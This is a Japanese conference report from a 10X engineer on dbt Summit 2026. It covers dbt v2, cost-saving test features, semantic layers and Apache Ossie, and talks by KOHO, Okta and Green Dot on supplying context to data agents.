ラスベガスで開かれたdbt Summit 2026（2026年9月15〜18日）の参加レポートです。発表された内容を、10Xで日々dbtやデータに触れる中で考えていることと結びつけながらまとめます。
- 1. dbt Summitに行くことになった経緯
- 2. 今年のテーマ「Level Up」
- 3. 発表されたもの
- 4. コストの話：dbt v2、batch tests、dbt State
- 5. セマンティックレイヤーの「第2波」
- 6. エージェントの前に必要なもの（KOHO）
- 7. セマンティックモデルの先へ：コンテキストをどう持つか
- 8. エージェントが前提になった開発体験：dbt Wizardとdbt Charts
- 9. Open Data Infrastructure
- 10. 10Xに持ち帰るもの
- 11. Championとして参加して
- 12. おわりに
1. dbt Summitに行くことになった経緯
10Xでソフトウェアエンジニアをしている瀧本です。ネットスーパーや小売向けに、データ変換のためのアプリケーションを作っています。あわせて、Tokyo dbt Meetupの運営もしています。
2026年にdbt Championに選んでいただきました。dbt Championsは、ミートアップの運営や登壇、記事の発信、Slackでの質問対応などを通じて、世界中のdbtコミュニティを支えている人たちをdbt Labsが認定し、後押しするプログラムです。今年のdbt Summitには、2026年のChampionが招待されました。さらに、2026 dbt Community Awardsの「dbt Meetup Organizer of the Year」にもノミネートしていただきました。Tokyo dbt Meetupを続けてこられたのは、参加してくださる皆さん、登壇者の皆さん、運営を一緒に支えてくださる皆さんのおかげです。
会社にも相談し、10Xとしての活動としても参加を後押ししてもらいました。
2. 今年のテーマ「Level Up」
初日のKeynoteで、dbt LabsのTristan Handyは今年のテーマを「Level Up」だと紹介しました。業界の変化はかつてなく速く、コミュニティ全体でレベルを上げてこの波に向き合おう、という意味です。
Keynote全体を通して繰り返されていたのは、エージェントがデータの主要な消費者になるという見立てでした。インターネットのトラフィックの大半がすでに人間以外になっているのと同じ転換が、データでも起きる。エージェントがメトリクスやテーブル、メタデータを直接使うようになる、という話です。
「作ったモデルが使われない」はデータチームにとって昔からの悩みです。エージェントが大量に問いを投げるようになれば、そこが変わるかもしれない。そのためには、エージェントに正しいコンテキストを渡す仕組み、コンテキストを効率よく届けてコストの暴走を防ぐ仕組み、変更のたびに品質を評価する仕組みが要る。今年の発表は、ほぼすべてこの前提から出てきたものだと感じました。
後半のセッションで出てきた言い方も印象に残っています。
過去10年やってきたアナリティクスエンジニアリングの仕事は、実はコンテキストエンジニアリングだった。
3. 発表されたもの
主な発表を、公式ブログ「Everything we announced at dbt Summit and why it matters」をもとに整理しました。
| 名称 | ステータス | ひとことで |
|---|---|---|
| dbt v2 | GA | dbt CoreとFusionを統合した単一エンジン。Apache 2.0 |
| dbt State | GA | 変更がないモデルをスキップ・clone・deferして計算コストを削る |
| Lake Compute | Private Beta | DuckDBベースの変換専用エンジン。Icebergテーブルに対してモデル単位で使い分け |
| dbt Charts | Public Beta | ダッシュボードをYAMLで書き、モデルと同じPR・CIに載せる |
| dbt Wizard | Public Preview | アナリティクスエンジニアリング専用のエージェント（CLIはPublic Beta、DesktopはPrivate Beta） |
| Wizard Explore Mode | Public Preview | ビジネスユーザー向けの会話型分析 |
| Fivetran Context Layer | Early Access | 構造化・非構造化データをエージェント向けのコンテキストに変換 |
| Anthropic連携・ChatGPTプラグイン | GA | dbtのコンテキストをワンクリックでAIツールに渡す |
「2エンジン時代」の終わり
いちばん大きい発表は、dbt v2のGAです。これまでdbt CoreとFusion Engineは別のコードベース・別のエンジンでした。v2では1つのエンジン・1つの言語仕様にまとまり、ブランドも「dbt」に一本化されます。エンジンはFusionの流れをくむRust製で、Pythonで書かれていたdbt Coreからは土台ごと入れ替わったことになります。ちなみに10Xでも、データ変換のためのアプリケーションをRustで書き始めています。こちらは後ほど、別の記事で紹介されるかもしれません。
作り直しで変わったのは速さだけではありません。v2は、SnowflakeやBigQueryといった各ウェアハウスのSQL方言を理解していて、ウェアハウスがクエリを実行する前に立てるのと同じような論理プランを、手元で組み立てて検証します（静的解析）。存在しないカラムの参照や型の食い違い、関数の使い方の誤りを、ウェアハウスにクエリを投げる前に見つけられるわけです。カラム単位のリネージも、ここから作られています。次の章で紹介するunit testのローカル実行も、このSQLを理解する力があるからこそ、BigQuery向けのSQLをDuckDB向けに翻訳できています。
解析して得たメタデータは、dbt Information Schemaとして手元に書き出すこともできます。--generate-info-schemaを付けて実行すると、モデルやカラム、カラム単位のリネージ、実行結果などが、Parquetのテーブルとしてtarget/info_schema/v1/に出力されます。dbtのSQLの中から{{ info_schema('models') }}のようにrefと同じ感覚で参照できるので、「descriptionのないモデルを洗い出す」といったプロジェクトの品質チェックを、ウェアハウスにつながずにSQLで書けます。manifest.jsonとcatalog.jsonで約70MBあったプロジェクトが約5MBになった、という例も紹介されています。
ライセンスがApache 2.0に戻ったことも大きな話題でした。Spotifyの事例では、オンプレで動かす必要があるのでマネージド版は選べず、v2がOSSとして出たことが採用の決め手になったそうです。v1で90秒以上かかっていたparseが約10秒になり、エージェント経由のcompileチェックは9倍速くなった、という話もありました。
4. コストの話：dbt v2、batch tests、dbt State
個人的にいちばん持ち帰りたかったのがこのテーマです。10Xでもデータパイプラインの変換にdbtを使っていて、日々の実行に加えて、開発中の検証やCIで流れるビルドやテストも含めた実行コストの最適化が議論になっています。
batch tests
Keynoteのデモで、156個のデータテストを流すと156本のクエリがウェアハウスに飛ぶ、という場面がありました。v2の--batch-testsフラグを付けると、同じモデルに付いたテストを1回のスキャンにまとめます。デモでは65個のテストが21本のクエリになっていました。
ただし、ドキュメントを読むと対象はかなり絞られています。
- まとめられるのは
uniqueとnot_nullだけ - 同じモデルに付いていて、同じ種類が2つ以上あること
where・severity・store_failuresなどを設定したテストは対象外で、これまで通り1本ずつ流れる
効くかどうかは、プロジェクトのテストの書き方次第です。whereで絞り込んだテストが多いプロジェクトでは、思ったほど減らないかもしれません。
unit testをローカルで流す
Keynoteのデモでは、あるunit testが10ミリ秒で終わる場面がありました。unit testは本来、入力データをSQLに埋め込んでウェアハウスに投げるので、こんなに速くは終わりません。種明かしは、v2で実験的に入ったcompute: localという設定でした。
この設定を付けたunit testは、SnowflakeやBigQuery向けのSQLをDuckDB向けに翻訳し、dbtを動かしているマシンの上で実行します。ウェアハウスには一切クエリが飛ばないので、開発中やCIで何度unit testを回しても、その分のウェアハウスの費用はかかりません。BigQueryに対応しているので、10Xの環境でもすぐに試せます。
unit_tests: - name: test_order_amount_calculation model: fct_orders config: compute: local
プロジェクト全体にdbt_project.ymlでまとめて設定することもできます。実験的な機能なので、使うには環境変数DBT_ENGINE_EXPERIMENTAL_LOCAL_UNIT_TESTS=trueでオプトインする必要があります。
注意点もあります。
- 対象はunit testだけで、データテストには使えない
- SQLがDuckDBに翻訳できないとテストは失敗し、ウェアハウスでの実行に自動では切り替わらない
- テスト対象のモデルの直接の上流は、ウェアハウスに存在している必要がある（スキーマを取得するため）
- 関数の細かい挙動がBigQueryとDuckDBで食い違うケースが、issueとして報告されている
プラットフォーム固有の関数を多用しているモデルは翻訳できないかもしれませんが、CIで流れるunit testのコストを抑える手段としては、かなり効きそうです。
dbt State
デモで面白かったのは開発体験のほうです。これまでは本番のmanifest.jsonを--stateで渡してdeferしていましたが、Stateがこれを自動で管理します。開発スキーマで上流を作り直そうとしても、本番に最新のものがあれば自動でcloneして再利用してくれます。事例として登壇したObie Insuranceでは約40%、最大のワークフローでは60%削減できたそうです。
Lake Compute
Lake Computeは、重いモデルだけを安いエンジンに逃がすための仕組みです。上流をIcebergにし、対象モデルにadapter: lakecomputeを足すだけで、そのモデルだけがDuckDB上で実行され、下流は元のウェアハウスに戻ります。デモでは「初めての公開マルチアダプタ実行」と紹介されていました。
ただ、対応しているのは現時点でSnowflakeとDatabricksで（「more platforms coming」）、private betaの間はFivetranのManaged Data Lake Serviceが前提です。BigQueryネイティブで組んでいる私たちの環境からすると、今すぐの選択肢というより少し先の将来の選択肢となりそうでした。
5. セマンティックレイヤーの「第2波」
第1波はなぜうまくいかなかったか
約5年前の第1波は、メトリクスをコードとして1か所で定義し、下流の複数ツールに配る構想でした。うまくいかなかった理由は3つ挙げられていました。
- ビジネス側から見ると、相変わらずBIツールで同じものを見るだけで、新しい価値がなかった
- ツールごとにセマンティクスの定義方法が違い、統合が難しかった
- セマンティックモデリングは、多くのアナリティクスエンジニアにとって新しい技能だった
第2波の難題は「信頼」
エージェントの登場で、提供できる価値の桁が変わりました。その一方で、新しい問題として示されたのが「信頼」です。説明に使われた例えがわかりやすかったので紹介します。
フリースロー成功率92.3%の選手が、10本連続で決める確率は？
0.92310 ≈ 45%
エージェントが「売上を伸ばすには？」に答えるには、何本もクエリを組み、そのたびに正しいテーブル・カラム・集計式を選ぶ必要があります。1ステップの成功率が高くても、ステップが重なるほど全体の信頼度は下がっていきます。
「より賢いモデルに賭けるだけでは、この問題は解けない」として、第2波を成功させる条件が4つ示されました。
- 統合: BIツールがデータベースと同じ感覚でつなげるSQLインターフェース（Semantic SQL）
- 変換レイヤーでもセマンティクスを使う: 事前集計の管理を楽にする。ウェアハウス費用の30〜40%を事前集計に使っている企業もあるそうです
- ビジネスの地図としてのセマンティックレイヤー: エンティティとその関係を定義し、エージェントが動く土台にする
- 設定可能性とアクセス制御: ワークフローごとに、エージェントが触れるコンテキストを必要な分だけに絞る
Keynoteパネルでの議論
Keynoteのパネルでも、セマンティックレイヤーはデータ基盤に必要か、という問いが出ていました。答えが分かれていたのが印象的です。
- George Fraser（Fivetran + dbt Labs）: モデルが賢くなるにつれて、セマンティックモデルがあればほぼ足りるように見える
- Microsoft: 出発点としては必須だが、それだけでは十分ではない
- Jordan Tigani（MotherDuck）: シンプルな方がうまくいく。大事なのはeval。「前四半期の売上は？」には正解があり、テストできる
Apache Ossie
セマンティックモデルの標準化も動いています。昨年Open Semantic Interchange（OSI）として発表された取り組みは、Apache Ossie（incubating）と名前を変えてApache Incubatorに入りました。Keynoteのパネルでは、Iceberg PMCのRussell Spitzerさんが「Icebergでやったことを、セマンティックモデルでもやる」と話していました。
Apache Ossieは、ツールごとにばらばらなセマンティックモデルを、ベンダー中立な形でやり取りするための仕様です。YAMLで次の要素を定義します（仕様）。
- datasets: 業務上のエンティティ（ファクトやディメンションのテーブル）。参照元のテーブルと主キーを持つ
- fields: グルーピングやフィルタに使う行単位の属性。時間の軸かどうかなども指定できる
- relationships: dataset同士を結ぶ多対1の結合
- metrics: 集計の定義。datasetの外（モデル全体）に置き、複数のdatasetにまたがれる
- ai_context: エージェント向けの指示、同義語、質問例。モデル・dataset・field・metricのどこにでも付けられる
たとえば、注文と顧客のモデルなら次のようなイメージです（開発中の0.2.0.dev0の仕様に沿って書いた例です）。
version: 0.2.0.dev0 name: grocery_sales datasets: - name: orders source: analytics.marts.orders primary_key: [order_id] fields: - name: ordered_at expression: dialects: - dialect: ANSI_SQL expression: ordered_at dimension: is_time: true - name: customers source: analytics.marts.customers primary_key: [customer_id] relationships: - name: orders_to_customers from: orders to: customers from_columns: [customer_id] to_columns: [customer_id] metrics: - name: total_sales description: 注文金額の合計 expression: dialects: - dialect: ANSI_SQL expression: SUM(orders.amount) ai_context: synonyms: [売上, 売上高]
特徴的なのは、式をSQL方言ごとに書き分けられることです。変換する側は自分のプラットフォームの方言を選び、なければANSI SQLにフォールバックします。ベンダー固有の情報はcustom_extensionsに逃がしておけば、変換を通しても失われません。
ただ、セッションのQ&Aでは、dbt LabsはOssieに参加しているものの、MetricFlowからOssieへの変換はまだ提供されていないとのことでした。仕様間の変換は1対1にならず、ガバナンスをどう渡すかも未解決だそうです。標準化は動き出したものの、実装はまだこれからというのが現在地です。
6. エージェントの前に必要なもの（KOHO）
上: 文化→基盤→セルフサーブ。下: 「今回のセッションの3つに1つはコンテキストかセマンティックレイヤーの話」
カナダのフィンテック企業KOHOのセッション「Before the agents: what self-serve analytics actually needs」は、今回いちばんメモを取ったセッションでした。
KOHOのスライドには、「今回のセッションの3つに1つはコンテキストかセマンティックレイヤーの話。一方で、eval（エージェントの答えを採点する仕組み）やground truth（採点に使う正解）に触れているのは33に1つ」という集計もありました。コンテキストを渡す話はあふれているのに、それで答えが本当に正しくなったかを測る話は少ない、という問題提起です。
KOHOは従業員約250人のうち10人に1人以上がデータに関わる会社で、自然言語で質問できるセルフサービス分析を社内に展開しています。最初に強調されていたのは、「AIを入れたからセルフサービス分析ができたのではない」という点です。ウェアハウス、dbt、定義、ドキュメント、データチームへの信頼が先にあり、AIはそれを安全につないだだけだ、と。
データチームへの信頼をつくる3原則
- 意思決定はビジネスが持つ
- 定義はデータチームが守る
- 何かが壊れたら、指摘される前にデータチームが自分から言う
Contextの形式を決め打ちしない
セマンティックレイヤー、Markdown、メタデータのどれが最良かを最初から決めません。Contextの構成要素を交換できるようにしておき、入れ替えたときにエージェントの品質がどう変わるかをevalで測ります。
dbtのテストがモデルのロジックを部品ごとに確かめるのに対して、evalは「質問から答えまで」をエージェントに通しでやらせて確かめる、e2eテストのようなものだと理解しました。KOHOのevalのデータセットは、社員が実際にデータチームへ聞いた約375問です。数値の一致を見る評価、SQLが意味的に同じかを見る評価、LLMを判定役に使う評価、Contextそのものの評価を組み合わせ、dbtのスタイルガイドを変えるPRでも回答品質のBefore/AfterをCIで比較しているそうです。
最後に示された「次のボトルネック」も考えさせられました。Contextの問題はいずれ業界全体で解けていく。その先に残るのは、使う人の文化、複雑な分析、結果の伝え方だ、と。セルフサービスになるほど、アナリストが担っていた「問いの翻訳」が失われる、という指摘は、分析をAIに任せ始めた今まさに気にしておきたい点だなと思いました。
7. セマンティックモデルの先へ：コンテキストをどう持つか
第5章と第6章で見てきたのは、「セマンティックモデルは必要だが、それだけでは足りない」という話でした。では、その先に何を持てばいいのか。この問いに具体的に答えていた2つのセッションを紹介します。
Okta：コンテキストをdbtでガバナンスする
Keynoteにも登壇したOktaのPooja Crahenさん（dbt Champion）のセッション「From AI experiment to production: how Okta governs context for agents at scale」は、「エージェントを作る話ではなく、エージェントの前に何が起きるかの話」として始まりました。
Oktaでは当初、SnowflakeのUIで直接セマンティックビューを作り、Cortex Agentにつないでいました。午後だけでエージェントが立ち上がり、最初は快調だったそうです。ところが、そのセマンティックビューはdbtの変換レイヤーを通っておらず、バージョン管理も監査もできない。エージェントへの指示もメタデータもビジネスロジックも、1つのフィールドに詰め込まれていました。
そこで作ったのが、dbtの中に置く3層のコンテキストです。
| 層 | 置き場所 | エージェントに伝えること |
|---|---|---|
| Meta | モデル・カラムのmetaブロック | このモデルは何のためのものか。同義語、使うべき場面・避けるべき場面、暗黙のフィルタ、sumすべきかaverageすべきか |
| Context docs | Markdown | 質問に対してどのモデルを選び、どのビジネスルールを当てはめるか。会計年度のような全社の前提と、ドメインごとのルール・落とし穴 |
| セマンティック層 | Snowflakeのセマンティックビュー（定義はdbtのモデルとして管理） | 検証済みのファクト・ディメンション・集計。一貫した答えを出す既定の経路 |
ここでのセマンティック層は、dbtのSemantic Layer（MetricFlow）ではなく、Snowflakeのセマンティックビューです。UIで作っていたものを、セマンティックビューをdbtのmaterializationとして扱うパッケージを使ってdbtのモデルに書き直し、ほかのモデルと同じようにPRレビューを通してから作るようにしました。さらにCortex Agentの定義そのものもdbtで管理していて、モデル・セマンティックビュー・エージェントが1つのDAGに並んでいます。実行と検索はSnowflake、定義と変更の管理はdbt、という分担です。
この3層は、Keynoteで紹介されたAgents Schemaを通じてウェアハウス内のテーブルに同期され、ClaudeからもCortex Agentからも同じ中身を読めるようになっています。エージェントには「まずセマンティックビューを見る、だめならcontext docs、それでもだめならモデルのmetaを見る」という探し方の優先順位もスキルとして渡しているそうです。
効果としていちばん大きかったのは反復の速さだといいます。以前はエージェントが間違えるたびに設定を直して再デプロイしていましたが、今はアナリティクスエンジニアが該当する層を直してマージするだけで、そのコンテキストを使う全エージェントが賢くなります。締めの言葉が印象的でした。
エージェントは使い捨てで、交換可能なもの。本当にエンジニアリングしてガバナンスすべきなのは、エージェントが推論の拠り所にするコンテキストのほう。ダッシュボードに全部を焼き込んでいたところから、dbtでモデリング層にガバナンスを作ったのと同じで、BIからAIへのシフトにすぎない。
Green Dot：意味を型付きのフィールドで持つ
Green DotのKeith Binklyさんのセッション「Meta:Context: a business context schema in dbt's semantic layer」は、もう一段踏み込んだ話でした。数字の意味、異常のときにどこを調べるか、どうなったら何をするか。こうした業務のコンテキストを、dbtの既存のmetaブロックに5層・36フィールドの型付きスキーマ（「コンテキストカード」）として書きます。
- Descriptions: 説明（多くのツールが扱っているメタデータ）
- Relationships: 何と相関し、何に分解されるか
- Investigations: 原因を探るときに見るディメンション
- Expectations: 健全な範囲、警告・クリティカルのしきい値
- Decisions: SLA、上限、ビジネスルール、数字が動いたときに何をするか
メトリクスの隣に書くので、Semantic Layer APIを1回呼べば数字とコンテキストが一緒に返ってきます。文章ではなく型付きのフィールドなので、「しきい値はエージェントに届いたか」「調査の手順に従ったか」を個別に確かめられ、何割のメトリクスにコンテキストカードがあるかというカバレッジも測れます。36フィールドすべては不要で、3つ書くだけでも答えが変わるそうです。仕組みは公開リポジトリになっています。
コンテキストカードの効き目を示す例として、匿名化した実際の質問が紹介されていました。
プログラムQの取引拒否率が、プログラムFより1桁高い。何が起きている？
- コンテキストカードなし: エージェント（Claude）は「取引の上限が関係しているのでは」という仮説までは立てました。ところが、上限の情報はウェアハウスではなくスプレッドシートにあったため、確かめようがありませんでした
- コンテキストカードあり: 拒否率のメトリクスのコンテキストカードに上限を書いておくと、プログラムQだけがアカウント単位で取引に上限を設けていることを突き止めました。さらに、上限はアカウント単位なのにデータはプログラム単位なので単純には比べられない、というずれまで指摘しました
では、コンテキストカードそのものをAIに書かせればいいのでは？ ここで紹介されたシミュレーションの結果が、いちばん考えさせられた部分です。コンテキストカードの元になった素材（メトリクスの定義、上限が書かれたパートナー向けの資料、運用上のメモ）から人の判断だけを取り除いて、7つのモデルにコンテキストカードを書かせました。
どのモデルも慎重で、「上限が原因かもしれないが未検証」と書き、確かめるためのクエリまで挙げました。ところが、「1アカウントあたりの値がちょうど上限に張り付いているなら、需要が多いのではなく、制度上の天井にぶつかっているだけ」という、判断の決め手になるルールを書けたモデルは、最先端のモデルを含めて1つもなかったそうです。このルールは、アナリストが実際に資料とクエリ結果を並べて見比べて見つけたものでした。
コンテキストカードは賢いモデルが書いた文章ではなく、調査の残滓（ざんし）（residue of an investigation）だ。
「ビジネスの人は書き留めてはくれない。でも話してはくれる」として、定義を詰める会議を録音し、文字起こしからコンテキストカードの下書きを作ってレビューに回す、という運用も紹介されていました。
8. エージェントが前提になった開発体験：dbt Wizardとdbt Charts
dbt Wizard
dbt Wizardのセッションでは、Wizard Desktopのデモが中心でした。画面の中心にあるのはコードではなく、エージェントとの会話です。「VS Codeはコードが中心だが、中心は徐々にエージェントとの会話に移っている」という説明がありました。
Claude Codeを日常的に使っている立場から見て、設計として参考になった点が3つあります。
- 仮定を明示する: 変更のたびにサマリカードが出て、エージェントが途中で置いた仮定が列挙されます。デモでは、その仮定の一つから実際のバグが見つかっていました
- 検証を分ける: コード変更の段階ではcompileとparseまでにとどめ、時間とお金がかかるマテリアライズは検証ステップで行います。検証条件（「この変更で5%以上減らないこと」など）も足せます
- 検証は別のエージェントが行う: メインのエージェントの仮定に引っ張られないよう、必要な情報だけを渡したサブエージェントが判定します
Q&Aで「汎用のコーディングエージェントとどう違うのか」と聞かれ、「汎用エージェントは何にでも対応する必要があるので、dbtに寄せすぎると他の用途に悪影響が出る。Wizardは用途がわかっているので強く特化できる」と答えていたのが率直で面白かったです。
dbt Charts
dbt Chartsは、チャートとダッシュボードをYAMLで定義するオープンな仕様です。モデルと同じリポジトリに置き、同じPR・CIを通します。YAMLの言語、描画エンジン、ローカルで動かすdctコマンドはApache 2.0で、ホスティングやアクセス制御を載せたdbtCharts.comが別製品としてpublic betaになっています。
SQLはdbtで「使い捨てのクエリ」から「管理されたモデル」になったのに、その先のダッシュボードはコードから切り離されたままでした。AIが作ったダッシュボードの数字がおかしいと言われたとき、誰もロジックを追えない。そこを埋める、というのが発表の趣旨です。
発表直後のdbtコミュニティSlackの反応も面白いものでした。開発チームからは「BIをオープンにしたい。10年前にdbtが変換レイヤーで起こしたことを、ダッシュボードでも起こしたい」という意気込みが語られ、早速、既存のBIツールのダッシュボードをdbt ChartsのYAMLに変換するスキルを作った人も現れていました。
一方で、dbtのコミュニティSlackのチャンネルには実務目線の率直な要望も同時に並んでいました。
- ExcelやCSVに出力できないと、ビジネスユーザーには勧めにくい
- ドリルスルーやクリックでのフィルタなど、もっとインタラクティブにしたい
- 行レベルのセキュリティが欲しい
- セマンティックレイヤーからの読み取りを第一級にしてほしい
- 自社の環境にどうデプロイするのか
これに対しては、dct serveでローカルに配信したり、静的に生成して社内のサーバーに置いたりできること、ドリルスルーやクリックでのフィルタはリンクと変数ですでに実現できることが回答されていました。熱量の高さと、業務で使うための現実的な注文が同時に出てくるのは、新しいプロダクトが本気で受け止められている証拠だと感じます。
試してみたい方は、dbt ChartsのクイックスタートとGitHubのリポジトリから始められます。
9. Open Data Infrastructure
「1つのdbtプロジェクトは1つの計算エンジン」という前提を崩す話も続いていました。Open Data Infrastructureのセッションでは、SnowflakeとDatabricksにまたがる3チームが、dbt Meshのプロジェクト間参照でモデルを共有するデモがありました。
ポイントはデータのコピーが起きないことです。Icebergで書かれたテーブルを別のエンジンが直接読みます。プロジェクトごとのcatalogs.ymlは違っていてよく、チーム間で合わせる必要があるのはカタログ名だけです。昨年のSummitでは同じ名前にしてdbtを「騙して」同じデータを読ませていたものが、今年はネイティブにサポートされた、という話には会場が笑っていました。
とはいえ、会場で「Icebergを使っている人」と聞かれて手を挙げた人は多くありませんでした。Keynoteでも、Icebergで着地させて別エンジンで読んでいる顧客は約7%とのことで、まだ導入フェーズです。
10. 10Xに持ち帰るもの
コスト：機能より先に「何をどこで担保するか」
batch tests、unit testのローカル実行、dbt Stateは、v2への移行とあわせてすぐに試せる選択肢です。特にunit testのローカル実行はBigQueryにも対応していて、CIで流れるテストの費用を直接減らせます。一方で、batch testsの対象条件を見ると、機能だけで解決するわけではありません。どのレイヤー・どのテスト種別で何を担保するかを整理し、同じことを二重に確かめていないかを見直すほうが、効き目は大きいかもしれません。
セマンティックモデルを通じてメトリクスの品質を上げる
今回のセッションを通して感じたのは、議論の中心が「どのセマンティックレイヤーを使うか」から「セマンティックモデルをどう育てるか」に移ってきていることです。Keynoteのパネルでは「どのセマンティックレイヤーを採用すべきか、への答えはYes」という言葉が出ましたし、Apache Ossieが交換しようとしているのも、Agents Schemaが集めているのも、実行エンジンではなく定義そのものでした。OktaはdbtのSemantic LayerではなくSnowflakeのセマンティックビューを使いながら、定義はdbtで管理していました。Green DotやKOHOの関心も、定義の中身とその確からしさに向いていました。
人がBIツールで数字を見ていた頃は、定義を正しく配るエンジンがなければ、数字をそろえられませんでした。エージェントが自分でSQLを書ける今、足りないのは代わりにクエリを組んでくれる仕組みより、「何が正しい定義で、どう読むべきか」という意味のほうなのだと思います。もちろん、ガバナンスされたメトリクスをそのまま呼べる仕組みは、フリースローの例えのとおりステップを減らせるので、今も効きます。それでも主役は、エンジンから定義へ移りつつある。そう考えると、どのエンジンに乗るかを急いで決めるより、エンティティやメトリクス、その周りの文脈、ゴールデンクエリといった定義そのものをGitで管理して育てておくことが、どの道を選んでも無駄にならない投資だと感じています。
社内でも、AIを使った分析で「データにアクセスできる」「データの意味がわかる」「それなりに賢いAIがいる」の3つがそろうと分析がかなり進む、という手応えが出てきています。一方で、社内のデータ分析基盤に用意している定義だけでは拾いきれず、結局テーブルを直接見に行くケースもあります。
エージェントに正しく答えてもらうには、メトリクスの定義とその周りの文脈をどれだけ確かなものにできるかが鍵になります。今回のセッションを並べると、次のように整理できると考えています。
ゴールデンクエリは、フリースローの例えでいえばステップ数を減らして確率の掛け算を短くするアプローチです。さらにevalとして回せば、Contextやセマンティックモデルを変えたときに本当に良くなったかを測れます。KOHOがやっていたのはまさにこれでした。
もう一つ、Green Dotの「調査の残滓（ざんし）」という言葉で、ゴールデンクエリの価値を言い直せると感じました。ゴールデンクエリは、アナリストが実際に調べて「この問いにはこう答えるのが正しい」とたどり着いた結果です。モデルがどれだけ賢くなっても、この残滓は素材から自動では出てこない。だからこそ、クエリとして残すだけでなく、Oktaのmetaやcontext docs、Green Dotのコンテキストカードのように、メトリクスの隣にエージェントが読める形で持つことに意味があります。
こうして定義と文脈を積み上げていくほど、それが特定のツールの中に閉じ込められないことが大事になってきます。Apache Ossieは、まさにセマンティックモデルをツールの外に持ち出すための仕様で、ai_contextとして同義語や指示も一緒に運べます。まだdbtからの変換は提供されていませんが、自分たちが育てた定義をどこへでも持っていける受け皿として、実装が追いつくのを待ちつつ追いかけたいと考えています。
定義を持ち運べるようになっても、エージェントがそれを見つけられなければ意味がありません。その「届ける側」の仕組みとして、Keynoteでも紹介されていたのがAgents Schemaです。ウェアハウスの中にAGENTSというスキーマを1つ作り、dbtのmanifest.json、LookMLのファイル、OSIの定義ファイル（*.osi.yaml）などから読み取ったメタデータを、ふつうのテーブルとして置きます。同期はGitHub Actionsで行います。
入口になるのがAGENTS.ROOTというテーブルで、スキーマの中に何があるかの目次になっています。エージェントはまずここを読めば、そのウェアハウスに何が用意されているかを事前知識なしに把握できます。社内固有の調べ方をまとめたスキルも、ROOTの1行として配れます。ウェアハウスの権限設定がそのまま配布の仕組みになり、元のファイルはGitで管理されているのでPRレビューも通ります。OktaがClaudeとCortex Agentに同じコンテキストを渡していたのも、この仕組みでした。
ライセンスはMITで、SnowflakeとDatabricksに加えてBigQueryにも対応しています。まだv0.0.x台ですが、10Xの環境でもすぐに試せそうなのはうれしいところです。
ダッシュボードもコードとして：dbt Charts
メトリクスをどれだけ整えても、最後に人の目に触れるダッシュボードがコードから切り離されていれば、そこで品質の管理が途切れます。エージェントがダッシュボードを作るようになれば、なおさらです。dbt Chartsのように、ダッシュボードをモデルと同じリポジトリに置いてPR・CIに載せる流れは、その切れ目を埋めるものとして見ておきたいところです。
11. Championとして参加して
今回の参加で、技術的な発表と同じくらい大きかったのがChampionとしての体験です。
会場ではChampions専用のジャージが配られ、期間中はそれを着て過ごしました。着ているだけで声をかけてもらえますし、同じ地域のdbtユーザーや他のChampionと一緒に行動する機会も自然と増えます。Keynoteは最前列の席を用意してもらい、コミュニティコーナーの裏にはChampion用のラウンジもありました。
何より良かったのは、人と話す時間でした。レセプションやランチで、それぞれの国のdbtコミュニティの状況や悩み、仕事の話からプライベートの話までしました。Slackではずっとやり取りしていたのに顔を合わせるのは初めて、という人がほとんどで、会ってみると一気に距離が縮まります。仲間の登壇を皆で応援しに行ったり、コミュニティグラントで来た人たちをすぐに輪に迎え入れたり、「同期」のようなつながりができたと感じています。
英語はまだまだですが、到着した日に「見かけたら声をかけてください、私もそうします」とSlackに書いたら、本当にたくさんの人が声をかけてくれました。
受賞は逃しましたが
dbt Meetup Organizer of the Yearは、残念ながら受賞には至りませんでした（受賞はJeremy Chiaさん）。
Technical Contributor of the Yearの部門では、日本からのノミネートもあり、Daisuke Taniwakiさんが受賞されていました。日本のコミュニティの存在感を感じられて、うれしい瞬間でした。
それでも、ノミネートしてもらえたこと、そして受賞した仲間たちを心から祝えたことは、本当に良い体験でした。グローバルでの横のつながりを改めて強くできたことが、今回いちばんの収穫です。
12. おわりに
今年のdbt Summitは、「エージェントがデータを使う」ことを前提に、dbtのあらゆる部分が組み直されていく様子を見た数日間でした。ただ、KOHOの話がそうだったように、エージェントの品質を決めるのは、結局その下にある定義やテスト、ドキュメント、そしてそれらを積み上げて得てきた信頼です。
Keynoteでは「アナリティクスエンジニアリングの仕事は、実はコンテキストエンジニアリングだった」「組織全体のためにコンテキストをエンジニアリングしている」という言葉が繰り返されていました。アナリティクスエンジニアという呼び名がなくなるわけではないと思います。ただ、その仕事はもう分析のためだけのものではなくなりつつあります。業務のプロセスに合わせてデータを設計し、その意味に責任を持ったうえで、人とエージェントの両方がデータを正しく使えるようにつないでいく。アナリティクスという枠を超えて、そういう役割に広がり始めている。今回いちばん強く感じたのは、そのことでした。
持ち帰ったものは、社内への共有と、日本のコミュニティへの還元の両方に使っていきます。10月には公式のdbt Labs World Tour Tokyoがあり、11月には次回のTokyo dbt Meetupを開催します。Summitで感じた熱量を、東京のコミュニティにもつなげていきたいと思います。
最後に、同じ2026年のdbt ChampionであるYu Ishikawaさんと、日頃からコミュニティでお世話になっているJunya Moritaさんには、現地でたくさん助けていただきました。本当にありがとうございました。
id:kotaroooo0
